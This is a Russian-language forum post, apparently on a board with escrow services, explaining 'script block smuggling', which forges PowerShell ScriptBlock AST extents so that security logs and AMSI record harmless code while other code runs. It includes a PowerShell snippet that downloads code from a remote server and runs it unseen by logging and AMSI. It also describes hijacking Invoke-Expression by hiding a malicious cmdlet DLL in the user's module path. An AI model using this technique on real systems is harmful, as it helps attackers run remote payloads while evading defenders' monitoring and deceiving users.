Статья КОНТРАБАНДА СКРИПТОВЫХ БЛОКОВ: ПОДДЕЛКА ЖУРНАЛОВ БЕЗОПАСНОСТИ POWERSHELL И ОБХОД AMSI БЕЗ ОТРАЖЕНИЯ ИЛИ ИСПРАВЛЕНИЯ

  • Автор темы Автор темы ADMIN
  • Дата начала Дата начала

ADMIN

Administrator
ADMIN
Регистрация
18 Окт 1989
Сообщения
1,408
Реакции
93
Баллы
48
☑ ДЕПОЗИТ
0$
Прежде чем мы разберемся, как именно работает контрабанда скриптовых блоков, нам нужно кратко рассмотреть, как PowerShell использует ASTS и что такое ASTS. Не вдаваясь слишком глубоко в информатику, стоящую за компиляторами и кодом, ASTS представляют собой древовидную структуру, которую компилятор создает из исходного кода, чтобы иметь возможность создавать машинный код. Если у вас есть исходный код, который выглядит следующим образом :

while b ≠ 0:

if a > b:

a = a − b

else

b = b − a

return a
Затем компилятор преобразует это примерно так:

AST_TREE-1.png

Все языковые компиляторы работают таким образом, и когда вы создаете скриптовый блок в PowerShell, это ничем не отличается. Родительским узлом для всех AST PowerShell является ScriptBlock AST, этот объект содержит ряд свойств в дополнение к дочерним узлам дерева. Одним из этих свойств является Extent, который для наших целей можно рассматривать как строковое представление нашего скриптового блока. Хотя у него есть несколько других свойств.:

Extent-properties.png

Итак, насколько это важно для функций безопасности в PowerShell? Что ж, если мы посмотрим на код из PowerShell GitHub, мы найдем несколько интересных фрагментов внутри CompiledScriptBlock.cs:

CompiledScriptBLock-1.png
PowerShell использует только экстент скриптового блока для создания журнала
CompiledScriptBlock-2.png
PowerShell отправляет в AMSI только размер скриптового блока
Оказывается, что все функции безопасности в PowerShell передают только размер скриптового блока и ничего больше. Это интересно, но, учитывая, что всякий раз, когда мы создаем скриптовый блок, оборачивая код в {} или используя [ScriptBlock]::create() AST и впоследствии Экстент генерируются автоматически, как можно использовать эту информацию? Что ж, оказывается, мы действительно можем сами создать AST с помощью:

[System.Management.Automation.Language.ScriptBlockAst]::new($Extent,
$ParamBlock,
$BeginBlock,
$ProcessBlock,
$EndBlock,
$DynamicParamBlock
)

Что еще более интересно, так это то, что нет ничего, что принудительно устанавливало бы экстент для соответствия BeginBlock, processBlock или EndBlock AST . Фактически, в этих блоках находится исполняемый код, содержащийся в AST. Итак, если мы можем создать несоответствие между ними и Экстентом, то теоретически мы должны иметь возможность выполнять код с другим видом журналов. Мы могли бы собрать каждый из блоков вручную, но здесь мы пойдем более простым путем создания двух скриптоблоков, а затем третьего из их компонентов.

Example-code-1.png

Здесь мы просто создаем простую подделку, в которой в журналах написано Вывод на запись "Hello", в то время как фактический выполняемый код - это Вывод на запись "World". Однако это показывает, что наше теоретическое влияние, описанное выше, на самом деле справедливо. Очевидно, что этот код также отображается в журналах, но, как подробно описано в одном из наших предыдущих сообщений в блоге, блокировки скриптов фактически не регистрируются до первого выполнения скриптового блока. Пример кода может быть изменен, чтобы выглядеть следующим образом:

$wc=New-Object System.Net.WebClient
$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast
$ExecutedAst = [ScriptBlock]::Create($wc.DownloadData(<server>)).Ast
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,
$null,
$null,
$null
ExecutedAst.EndBlock.Copy(),
$null)
$Sb = $Ast.GetScriptBlock()

И выполняемый код никогда не будет отслеживаться журналами или AMSI. В качестве альтернативы, мы можем создать скриптовые блоки на C # следующим образом:

Csharp-code-1.png

Затем код PowerShell может быть выполнен:

CSharp-Code-2.png

В этом примере выполняется вывод на запись ‘amsicontext’, который демонстрирует возможность обхода AMSI без необходимости какого-либо исправления или отражения. Когда мы запускаем код, мы можем проверить журналы и увидеть, что он еще раз показывает только сообщение о записи-выводе. В качестве дополнительного примечания, по какой-то причине использование ps.addcommand не приводит к созданию и выполнению журнала, но использование ps.addscript генерирует журналы, как ожидалось.

Logs-2.png

Итак, что мы можем с этим сделать? Это можно было бы использовать как обычный обход AMSI, но потенциально можно было бы сделать и более интересные вещи, такие как перехват команд. Создавать командлеты PowerShell довольно просто, и оказывается, что PowerShell отдает предпочтение более новым модулям, когда возникает конфликт имен между командлетами и модулями. Иными словами, если бы мы назвали наш командлет “Invoke-Expression” и поместили его в одно из расположений PSModulePath, то каждый раз, когда пользователь вызывал Invoke-Expression, вместо него вызывался бы наш командлет. Два пути PSModulePath по умолчанию следующие:

C:\Users\<Имя пользователя>\Документы\WindowsPowerShell\Модули

C:\Program Файлы \ WindowsPowerShell \Модули

Первый из них влияет только на текущего пользователя, но папки могут быть скрыты и продолжать работать, что снижает вероятность того, что пользователь заметит. К сожалению, для второго требуются по крайней мере права локального администратора, поэтому он менее полезен. Для того, чтобы PowerShell получил доступ к вашему модулю, вы создаете папку с тем же именем, что и библиотека DLL вашего модуля, а затем помещаете туда библиотеку dll.

Dllmodule.png

Затем, при следующем выполнении Invoke-Expression, их код будет вести себя по-другому, в то время как журналы будут выглядеть как код, который они намеревались выполнить.

cmdhook.png

Итак, вот и все! Контрабанда скриптовых блоков позволяет подделывать журналы безопасности PowerShell, по сути обходя AMSI. Об этой проблеме было сообщено корпорации Майкрософт, но она была закрыта без дальнейших действий. Следите за обновлениями о методах обхода и других новых TTP.
 
Независимый арбитраж: В случае возникновения споров или несоответствия товара описанию, сервис выступает в качестве арбитра, принимая объективное решение на основе заранее оговоренных условий.
Назад
Сверху